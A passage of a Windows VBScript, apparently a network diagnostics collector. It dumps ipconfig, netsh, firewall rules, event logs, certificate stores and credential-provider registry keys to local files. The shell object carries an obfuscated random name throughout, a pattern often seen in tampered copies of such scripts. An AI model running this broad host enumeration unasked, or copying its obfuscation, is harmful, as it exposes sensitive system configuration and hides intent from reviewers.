WcnInfoFile.WriteLine("
- Install Date
" + objFile.InstallDate )
WcnInfoFile.WriteLine("
- InterfaceIndex
" + objFile.InterfaceIndex )
Next
WcnInfoFile.Close
Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("-----------------------")
WcnInfoFile.WriteLine("+ ipconfig information")
WcnInfoFile.WriteLine("-----------------------")
WcnInfoFile.WriteLine("")
WcnInfoFile.Close
cmd = "cmd /c ipconfig /all >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("----------------------")
WcnInfoFile.WriteLine("+ Softap Capabilities ")
WcnInfoFile.WriteLine("----------------------")
WcnInfoFile.WriteLine("")
WcnInfoFile.Close
cmd = "cmd /c netsh wlan show device >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("----------------------")
WcnInfoFile.WriteLine("+ Dump wcncsvc RegKey ")
WcnInfoFile.WriteLine("----------------------")
WcnInfoFile.WriteLine("")
WcnInfoFile.Close
cmd = "cmd /c reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wcncsvc\Parameters >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
' Set shell = WScript.CreateObject( "WScript.Shell" )
' windir = shell.ExpandEnvironmentStrings("%windir%\system32\")
' filename = windir + "wcnwiz.dll"
' commandname = windir + "rundll32.exe"
' cmd = "cmd /c "& commandname &" "& filename &" , RunDumpWcnCache >> " & outputFileName
' mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("--------------------------------")
WcnInfoFile.WriteLine("+ Network Discovery Information.")
WcnInfoFile.WriteLine("--------------------------------")
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("------------------------------")
WcnInfoFile.WriteLine("- Current Profile information")
WcnInfoFile.WriteLine("------------------------------")
WcnInfoFile.WriteLine("")
' Profile Type
Const NET_FW_PROFILE2_DOMAIN = 1
Const NET_FW_PROFILE2_PRIVATE = 2
Const NET_FW_PROFILE2_PUBLIC = 4
' Direction
Const NET_FW_RULE_DIR_IN = 1
Const NET_FW_RULE_DIR_OUT = 2
' Create the FwPolicy2 object.
Dim fwPolicy2
Dim ProfileType
ProfileType = Array("Domain", "Private", "Public")
Set fwPolicy2 = CreateObject("HNetCfg.FwPolicy2")
CurrentProfile = fwPolicy2.CurrentProfileTypes
WcnInfoFile.WriteLine ("Current firewall profile is: ")
'// The returned 'CurrentProfiles' bitmask can have more than 1 bit set if multiple profiles
'// are active or current at the same time
if ( CurrentProfile AND NET_FW_PROFILE2_DOMAIN ) then
WcnInfoFile.WriteLine(ProfileType(0))
end if
if ( CurrentProfile AND NET_FW_PROFILE2_PRIVATE ) then
WcnInfoFile.WriteLine(ProfileType(1))
end if
if ( CurrentProfile AND NET_FW_PROFILE2_PUBLIC ) then
WcnInfoFile.WriteLine(ProfileType(2))
end if
WcnInfoFile.Close
cmd = "cmd /c netsh advfirewall show currentprofile >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("----------------------------------------------")
WcnInfoFile.WriteLine("- Network discovery status for current profile")
WcnInfoFile.WriteLine("----------------------------------------------")
WcnInfoFile.WriteLine("")
Dim rule
' Get the Rules object
Dim RulesObject
Set RulesObject = fwPolicy2.Rules
For Each rule In Rulesobject
if rule.Grouping = "@FirewallAPI.dll,-32752" then
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine(" Rule Name: " & rule.Name)
WcnInfoFile.WriteLine(" ----------------------------------------------")
WcnInfoFile.WriteLine(" Enabled: " & rule.Enabled)
WcnInfoFile.WriteLine(" Description: " & rule.Description)
WcnInfoFile.WriteLine(" Application Name: " & rule.ApplicationName)
WcnInfoFile.WriteLine(" Service Name: " & rule.ServiceName)
Select Case rule.Direction
Case NET_FW_RULE_DIR_IN WcnInfoFile.WriteLine(" Direction: In")
Case NET_FW_RULE_DIR_OUT WcnInfoFile.WriteLine(" Direction: Out")
End Select
end if
Next
WcnInfoFile.Close
End Sub
Sub GetWirelessAdapterInfo(outputFile)
On Error Resume Next
Dim adapters, objReg
Dim adapterDetailNames, adapterDetailRegValNames
adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")
adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")
IHVDetailNames = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID")
IHVDetailRegValNames = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID")
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"
objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet
For Each adapter In adapterSet
If StrComp("Properties", adapter) Then
fullstrKeyPath = strKeyPath + adapter
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType
If ifType = 71 Then
for I = 0 to UBound(adapterDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info
outputFile.WriteLine(adapterDetailNames(I) + " = " + info)
Next
ihvKeyPath = fullstrKeyPath + "\Ndi\IHVExtensions"
For J = 0 to UBound(IHVDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, ihvKeyPath, IHVDetailRegValNames(J), ihvInfo
outputFile.WriteLine(IHVDetailNames(J) + " = " + ihvInfo)
Next
objReg.GetDWordValue HKEY_LOCAL_MACHINE, ihvKeyPath, "AdapterOUI", ihvInfo
outputFile.WriteLine("AdapterOUI = " + CSTR(ihvInfo))
outputFile.WriteLine()
End If
End If
Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c tasklist /svc > " & processes
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set objTextFile = FSO.OpenTextFile(processes, 1)
strIHVOutput = objTextFile.ReadAll()
Set regEx = New RegExp
regEx.Pattern = "^wlanext.exe[\s|a-z|A-Z|\d]*"
regEx.Multiline = True
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strIHVOutput)
For Each match in Matches
outputFile.WriteLine(match.Value)
Next
End Sub
Sub GetWirelessAutoconfigLog(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-WLAN-AutoConfig/Operational"" " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetWwanLog(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-WWAN-SVC-EVENTS/Operational"" " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetWcmLog(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Wcmsvc/Operational"" " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetWiredAdapterInfo(outputFile)
On Error Resume Next
Dim adapters, objReg
Dim adapterDetailNames, adapterDetailRegValNames
adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")
adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"
objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet
For Each adapter In adapterSet
If StrComp("Properties", adapter) Then
fullstrKeyPath = strKeyPath + adapter
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType
If ifType = 6 Then
for I = 0 to UBound(adapterDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info
outputFile.WriteLine(adapterDetailNames(I) + " = " + info)
Next
outputFile.WriteLine()
End If
End If
Next
End Sub
Sub GetEnvironmentInfo(outputFileName)
On Error Resume Next
Dim envInfoFile
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wlan show all > " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh lan show interfaces >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh lan show settings >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh lan show profiles >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh mbn show interfaces >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh mbn show profile name=* interface=* >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh mbn show readyinfo interface=* >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh mbn show capability interface=* >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c ipconfig /all >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
RunCmd "echo.", outputFileName
RunCmd "echo ROUTE PRINT:", outputFileName
RunCmd "route print", outputFileName
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Machine certificates...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent My >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("User certificates...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent -user My >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (machine store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent root >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (enterprise store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -enterprise -store -silent NTAuth >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (user store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -user -store -silent root >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
'Comments: Function to dump a tree under a registry path into a file
Sub DumpRegKey(outputFileName,regpath)
On Error Resume Next
Dim cmd
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg export " & regpath & " " & outputFileName & " /y"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub DumpAllKeys
On Error Resume Next
Dim NotifRegFile, RegFolder, Key
RegFolder = "Reg"
if Not FSO.FolderExists(RegFolder) Then
FSO.CreateFolder RegFolder
End If
' Dump WLAN registry keys
AllCredRegFile = RegFolder + "\AllCred.reg.txt"
AllCredFilterFile = RegFolder + "\AllCredFilter.reg.txt"
CredRegFileA = RegFolder + "\{07AA0886-CC8D-4e19-A410-1C75AF686E62}.reg.txt"
CredRegFileB = RegFolder + "\{33c86cd6-705f-4ba1-9adb-67070b837775}.reg.txt"
CredRegFileC = RegFolder + "\{edd749de-2ef1-4a80-98d1-81f20e6df58e}.reg.txt"
APIPermRegFile = RegFolder + "\APIPerm.reg.txt"
NotifRegFile = RegFolder + "\Notif.reg.txt"
GPTRegFile = RegFolder + "\GPT.reg.txt"
CUWlanSvcRegFile = RegFolder + "\HKCUWlanSvc.reg.txt"
LMWlanSvcRegFile = RegFolder + "\HKLMWlanSvc.reg.txt"
NidRegFile = RegFolder + "\NetworkProfiles.reg.txt"
call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""")
call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""")
call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""")
call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""")
call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""")
call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""")
call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPermissions""")
call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""")
call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""")
call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""")
' Dump Dot3 registry keys
LMDot3SvcRegFile = RegFolder + "\HKLMDot3Svc.reg.txt"
CUDot3SvcRegFile = RegFolder + "\HKCUDot3Svc.reg.txt"
LGPPolicyFile = RegFolder + "\L2GP.reg.txt"
call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""")
call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""")
' Dump WCM registry keys
WCMPolicyRegFile = RegFolder + "\WCMPolicy.reg.txt"
call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc""")
End Sub
' Dump Winsock LSP catalog
Sub DumpWinsockCatalog(outputFileName)
On Error Resume Next
Dim envInfoFile
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh winsock show catalog > " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
' Dump the Windows Firewall Configuration
Sub GetWindowsFirewallInfo(configFileName, logFileName, effectiveRulesFileName, consecLogFileName, logFileNameVerbose, consecLogFileNameVerbose)
On Error Resume Next
Dim envInfoFile
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c echo Current Profiles: > " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Dump the current profiles
cmd = "cmd /c netsh advfirewall monitor show currentprofile >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo Firewall Configuration: >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
' Dump the firewall configuration
cmd = "cmd /c netsh advfirewall monitor show firewall >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Configuration: >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Dump the connection security configuration
cmd = "cmd /c netsh advfirewall monitor show consec >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo Firewall Rules : >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Dump the firewall rules
cmd = "cmd /c netsh advfirewall firewall show rule name=all verbose >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Rules : >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Dump the connection security rules
cmd = "cmd /c netsh advfirewall consec show rule name=all verbose >> " & configFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Dump the firewall rules from Dynamic Store
cmd = "cmd /c echo Firewall Rules currently enforced : > " & effectiveRulesFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show firewall rule name=all >> " & effectiveRulesFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Dump the connection security rules from Dynamic Store
cmd = "cmd /c echo Connection Security Rules currently enforced : >> " & effectiveRulesFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show consec rule name=all >> " & effectiveRulesFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"" " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"" " & consecLogFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Export the operational log
